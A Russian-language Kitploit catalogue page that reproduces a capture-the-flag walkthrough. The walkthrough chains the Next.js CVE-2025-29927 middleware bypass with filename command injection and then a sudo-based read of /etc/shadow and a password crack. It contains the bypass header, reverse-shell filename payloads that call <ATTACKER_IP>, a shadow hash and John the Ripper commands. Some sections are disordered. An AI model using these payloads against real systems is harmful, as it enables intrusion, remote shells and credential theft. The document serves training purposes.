Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-29927-Proof-of-Concept — Задача Capture the Flag: CVE-2025-29927 в сочетании с уязвимостью внедрения команд | Kitploit
Инструменты/GitHubGitHub/si-ni/cve-2025-29927-proof-of-concept
Взлом паролейПовышение привилегийАнализ уязвимостейЭксплуатация веб-приложенийCTFКомандование и УправлениеОбучение и Образование
GitHubsi-ni/cve-2025-29927-proof-of-concept

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-29927-Proof-of-Concept

Задача Capture the Flag: CVE-2025-29927 в сочетании с уязвимостью внедрения команд

Репозиторий
27 месяцев назадЕщё не проверено

Прохождение

Шаг 1 (5 мин)

Подсказка Какие сетевые службы открыты на цельном хосте?

— — —

Решение
root@kitploit:~

    kali@kali:~$ nmap <TARGET_IP>
    kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
  

Шаг 2 (5 мин)

Подсказка 1 Главная страница показывает только страницу входа, но веб-серверы часто раскрывают дополнительные пути.
Подсказка 2 Попробуйте использовать инструмент для перебора каталогов, например Gobuster или DirBuster.

— — —

Решение
root@kitploit:~

    kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
  
root@kitploit:~

    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
    apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
    cgi-bin/             (Status: 308) [Size: 8] [--> /cgi-bin]
    dashboard            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
    favicon.ico          (Status: 200) [Size: 25931]
    login                (Status: 200) [Size: 6252]
    Progress: 4613 / 4613 (100.00%)
    ===============================================================
    Finished
    ===============================================================
  

Шаг 3 (20 мин)

Подсказка 1 Страница /dashboard перенаправляет на /login. Сможете ли вы найти на странице входа какую-нибудь информацию, которая позволит обойти перенаправление?
изображение
Подсказка 2 Сможете ли вы найти что-нибудь для Next.js версии 15.2.2?
Подсказка 3 Изучите CVE-2025-29927. Используйте прокси-сервер Burp Suite, чтобы перехватить запрос и изменить заголовки запроса перед отправкой.

— — —

Решение

Предыстория

Многие веб-приложения защищают конфиденциальные маршруты (например, /dashboard) с помощью промежуточного ПО (middleware). Промежуточное ПО проверяет запрос, проверяет сессионные cookie и подтверждает права пользователя. Если проверка не удаётся, middleware обычно перенаправляет пользователя на /login.

Механизм уязвимости

CVE-2025-29927 — это дефект проектирования в обработке middleware Next.js. Он позволяет злоумышленнику полностью обойти защиту middleware, используя заголовок x-middleware-subrequest. Next.js использует этот заголовок внутренне, чтобы предотвратить бесконечные циклы middleware. При обработке запроса функция runMiddleware проверяет заголовки запроса:
  • Если x-middleware-subrequest присутствует
  • и его значение содержит имя middleware
  • то Next.js пропускает выполнение middleware и передаёт запрос напрямую
Это было задумано как внутренняя оптимизация, но дефект в том, что внешние пользователи также могут установить этот заголовок.

Уязвимый код

root@kitploit:~

    const subreq = params.request.headers["x-middleware-subrequest"];
    const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
    if (subrequests.includes(middlewareInfo.name)) {
      result = {
        response: NextResponse.next(),
        waitUntil: Promise.resolve(),
      }
      continue;
    }
  
Next.js ввёл максимальную глубину рекурсии для выполнения middleware. Это было реализовано для предотвращения бесконечных циклов, но не влияет на уязвимость. Используя этот заголовок, мы сообщаем middleware: «Это уже запрос, сгенерированный middleware — не выполняйте middleware снова». Теперь Next.js удаляет заголовок из всех входящих внешних запросов перед запуском middleware. Заголовок считается доверенным только тогда, когда он создан внутри среды выполнения Next.js при легитимном цепочечном вызове middleware. Конкретно, значение x-middleware-subrequest теперь проверяется на соответствие случайно сгенерированной шестнадцатеричной строке, что гарантирует, что только легитимные внутренние сессионные запросы проходят проверку авторизации. Таким образом, даже если злоумышленник отправляет заголовок, Next.js теперь может отличить настоящий внутренний подзапрос (который содержит правильный случайно сгенерированный токен) от поддельного, отправленного внешним злоумышленником.

Шаг 4 (15 мин)

Подсказка 1 Загрузка файлов также защищена middleware, поэтому вы должны отправлять заголовок из шага 3 с каждым запросом.
Подсказка 2 Пользовательский ввод всегда представляет высокий риск. Что ещё, кроме содержимого файла, считается пользовательским вводом здесь? И сможете ли вы найти на странице какую-нибудь информацию, которая раскрывает, как обрабатывается изображение?
Подсказка 3 Попробуйте вредоносные имена файлов. https://www.revshells.com/

— — —

Решение

Объяснение

root@kitploit:~

    const filename = file.name; // УЯЗВИМО: нет очистки!
    const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
    const filepath = join(uploadsDir, sanitizedFilename);
    await writeFile(filepath, buffer);
    
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => { exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => { ...
Исходное имя файла контролируется пользователем и может содержать вредоносные символы. Разработчик удаляет некоторые опасные символы (чёрный список вместо белого). Команда convert выполняется с помощью exec(), и исходное имя файла (пользовательский ввод) напрямую вставляется в команду оболочки. Одно из исправлений может состоять в использовании случайно сгенерированных имён файлов вместо пользовательских и в использовании безопасного API, который избегает оболочки.

Эксплойт

root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
  
вредоносные имена файлов: Флаг находится в :

Бонус (5 мин)

Подсказка 1 Какие права sudo есть у пользователя webuser?
Подсказка 2 Могут помочь такие инструменты, как John the Ripper или Hashcat. Распакуйте файл rockyou.txt.gz с помощью команды gzip -d /usr/share/wordlists/rockyou.txt.gz.

— — —

Решение
root@kitploit:~

    target@target:~$ sudo -l
    Matching Defaults entries for webuser on photoresizer:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
    User webuser may run the following commands on photoresizer:
      (ALL) NOPASSWD: /usr/bin/cat /etc/shadow
  
root@kitploit:~

    target@target:~$ sudo cat /etc/shadow
    root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
  
root@kitploit:~

    kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
    kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    rockyou          (root)     
    1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
  
root@kitploit:~

    target@target:~$ su - root
  
Флаг находится в /root:
root@kitploit:~

    FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}
  
Скачать инструмент

Для версий 13.2.0 и новее

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

изображение
изображение

Исправление

x-middleware-subrequest
root@kitploit:~

    image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
    image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
  
изображение
root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
    connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
  
/home/webuser
root@kitploit:~

    FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}